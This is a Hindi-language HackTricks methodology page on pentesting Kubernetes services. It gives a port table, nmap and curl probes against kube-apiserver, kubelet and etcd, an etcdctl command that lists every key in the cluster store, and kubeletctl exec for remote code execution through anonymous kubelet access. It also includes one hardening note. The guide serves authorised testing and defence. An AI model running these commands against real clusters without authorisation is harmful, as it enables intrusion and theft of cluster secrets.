Pentesting Kubernetes Services

Reading time: 8 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Kubernetes कई विशिष्ट नेटवर्क सेवाओं का उपयोग करता है जिन्हें आप इंटरनेट पर या एक आंतरिक नेटवर्क में पा सकते हैं जब आप एक पोड को समझौता कर लेते हैं।

OSINT के साथ एक्सपोज़ किए गए पोड्स को खोजना

एक तरीका Identity LIKE "k8s.%.com" को crt.sh में खोजने का हो सकता है ताकि kubernetes से संबंधित उपडोमेन मिल सकें। एक और तरीका "k8s.%.com" को github में खोजने और उस स्ट्रिंग को शामिल करने वाले YAML फ़ाइलों की खोज करना हो सकता है।

Kubernetes सेवाओं को कैसे एक्सपोज़ करता है

यह आपके लिए समझना उपयोगी हो सकता है कि Kubernetes कैसे सेवाओं को सार्वजनिक रूप से एक्सपोज़ कर सकता है ताकि आप उन्हें खोज सकें:

Exposing Services in Kubernetes

पोर्ट स्कैनिंग के माध्यम से एक्सपोज़ किए गए पोड्स को खोजना

Kubernetes क्लस्टर में निम्नलिखित पोर्ट खुले हो सकते हैं:

PortProcessDescription
443/TCPkube-apiserverKubernetes API port
2379/TCPetcd
6666/TCPetcdetcd
4194/TCPcAdvisorContainer metrics
6443/TCPkube-apiserverKubernetes API port
8443/TCPkube-apiserverMinikube API port
8080/TCPkube-apiserverInsecure API port
10250/TCPkubeletHTTPS API which allows full mode access
10255/TCPkubeletUnauthenticated read-only HTTP port: pods, running pods and node state
10256/TCPkube-proxyKube Proxy health check server
9099/TCPcalico-felixHealth check server for Calico
6782-4/TCPweaveMetrics and endpoints
30000-32767/TCPNodePortProxy to the services
44134/TCPTillerHelm service listening

Nmap

bash
nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-6784,30000-32767,44134 <pod_ipaddress>/16

Kube-apiserver

यह API Kubernetes सेवा है जिसके साथ प्रशासक आमतौर पर kubectl उपकरण का उपयोग करके बात करते हैं।

सामान्य पोर्ट: 6443 और 443, लेकिन मिनीक्यूब में 8443 और असुरक्षित के रूप में 8080 भी।

bash
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1

इस सेवा से संवेदनशील डेटा प्राप्त करने और संवेदनशील क्रियाएँ करने के लिए निम्नलिखित पृष्ठ की जांच करें:

Kubernetes Enumeration

Kubelet API

यह सेवा क्लस्टर के हर नोड में चलती है। यह सेवा नोड के अंदर पॉड्स को नियंत्रित करेगी। यह kube-apiserver के साथ बात करती है।

यदि आप इस सेवा को उजागर पाते हैं, तो आप एक अनधिकृत RCE पा सकते हैं।

Kubelet API

bash
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods

यदि प्रतिक्रिया Unauthorized है, तो इसके लिए प्रमाणीकरण की आवश्यकता है।

यदि आप नोड्स की सूची बना सकते हैं, तो आप kubelets के एंडपॉइंट्स की सूची प्राप्त कर सकते हैं:

bash
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
ip=$(echo $node | awk '{print $1}')
port=$(echo $node | awk '{print $2}')
echo "curl -k --max-time 30 https://$ip:$port/pods"
echo "curl -k --max-time 30 https://$ip:2379/version" #Check  also for etcd
done

kubelet (केवल पढ़ने के लिए)

bash
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods

etcd API

bash
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only

टिलर

bash
helm --host tiller-deploy.kube-system:44134 version

आप इस सेवा का दुरुपयोग करके Kubernetes के अंदर विशेषाधिकार बढ़ा सकते हैं:

cAdvisor

मेट्रिक्स इकट्ठा करने के लिए उपयोगी सेवा।

bash
curl -k https://<IP Address>:4194

NodePort

जब एक पोर्ट सभी नोड्स में NodePort के माध्यम से खोला जाता है, तो वही पोर्ट सभी नोड्स में ट्रैफ़िक को घोषित Service में प्रॉक्सीफाई करते हुए खोला जाता है। डिफ़ॉल्ट रूप से, यह पोर्ट 30000-32767 की रेंज में होगा। इसलिए नए अनियंत्रित सेवाएँ उन पोर्ट्स के माध्यम से सुलभ हो सकती हैं।

bash
sudo nmap -sS -p 30000-32767 <IP>

Vulnerable Misconfigurations

Kube-apiserver Anonymous Access

Anonymous access to kube-apiserver API endpoints is not allowed. But you could check some endpoints:

ETCD Anonymous Access की जांच करना

ETCD क्लस्टर के रहस्यों, कॉन्फ़िगरेशन फ़ाइलों और अधिक संवेदनशील डेटा को संग्रहीत करता है। डिफ़ॉल्ट रूप से, ETCD कोई गुमनाम रूप से पहुँच नहीं सकता, लेकिन हमेशा जांचना अच्छा होता है।

यदि ETCD को गुमनाम रूप से पहुँचा जा सकता है, तो आपको उपयोग करने की आवश्यकता हो सकती है etcdctl उपकरण। निम्नलिखित कमांड सभी कुंजी प्राप्त करेगा:

bash
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only

Kubelet RCE

The Kubelet documentation बताता है कि डिफ़ॉल्ट रूप से गुमनाम पहुँच सेवा के लिए अनुमति है:

Kubelet सर्वर के लिए गुमनाम अनुरोधों को सक्षम करता है। अनुरोध जो किसी अन्य प्रमाणीकरण विधि द्वारा अस्वीकृत नहीं होते हैं, उन्हें गुमनाम अनुरोधों के रूप में माना जाता है। गुमनाम अनुरोधों का उपयोगकर्ता नाम system:anonymous होता है, और समूह का नाम system:unauthenticated होता है।

Kubelet API के प्रमाणीकरण और प्राधिकरण के काम करने के तरीके को बेहतर समझने के लिए इस पृष्ठ को देखें:

Kubelet Authentication & Authorization

Kubelet सेवा API का दस्तावेज़ नहीं है, लेकिन स्रोत कोड यहाँ पाया जा सकता है और उजागर किए गए एंडपॉइंट्स को चलाने के रूप में खोजना आसान है:

bash
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'

Path("/pods").
Path("/run")
Path("/exec")
Path("/attach")
Path("/portForward")
Path("/containerLogs")
Path("/runningpods/").

सभी दिलचस्प लगते हैं।

आप Kubeletctl टूल का उपयोग Kubelets और उनके एंडपॉइंट्स के साथ इंटरैक्ट करने के लिए कर सकते हैं।

/pods

यह एंडपॉइंट पॉड्स और उनके कंटेनरों की सूची देता है:

bash
kubeletctl pods

/exec

यह एंडपॉइंट किसी भी कंटेनर के अंदर कोड को बहुत आसानी से निष्पादित करने की अनुमति देता है:

bash
kubeletctl exec [command]

note

इस हमले से बचने के लिए kubelet सेवा को --anonymous-auth false के साथ चलाना चाहिए और सेवा को नेटवर्क स्तर पर अलग किया जाना चाहिए।

Kubelet (पढ़ने के लिए केवल पोर्ट) जानकारी का प्रदर्शन जांचना

जब kubelet पढ़ने के लिए केवल पोर्ट को उजागर किया जाता है, तो यह अनधिकृत पक्षों द्वारा API से जानकारी प्राप्त करना संभव हो जाता है। इस पोर्ट का प्रदर्शन विभिन्न क्लस्टर कॉन्फ़िगरेशन तत्वों के खुलासे का कारण बन सकता है। हालांकि जानकारी, जिसमें पॉड नाम, आंतरिक फ़ाइलों के स्थान, और अन्य कॉन्फ़िगरेशन शामिल हैं, महत्वपूर्ण नहीं हो सकती, फिर भी इसका प्रदर्शन सुरक्षा जोखिम पैदा करता है और इससे बचना चाहिए।

इस भेद्यता का शोषण करने का एक उदाहरण एक दूरस्थ हमलावर द्वारा एक विशिष्ट URL तक पहुंचना है। http://<external-IP>:10255/pods पर नेविगेट करके, हमलावर संभावित रूप से kubelet से संवेदनशील जानकारी प्राप्त कर सकता है:

https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png

संदर्भ

Kubernetes Pentest Methodology Part 2

Threats & Research Archives - F-Secure Blog

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें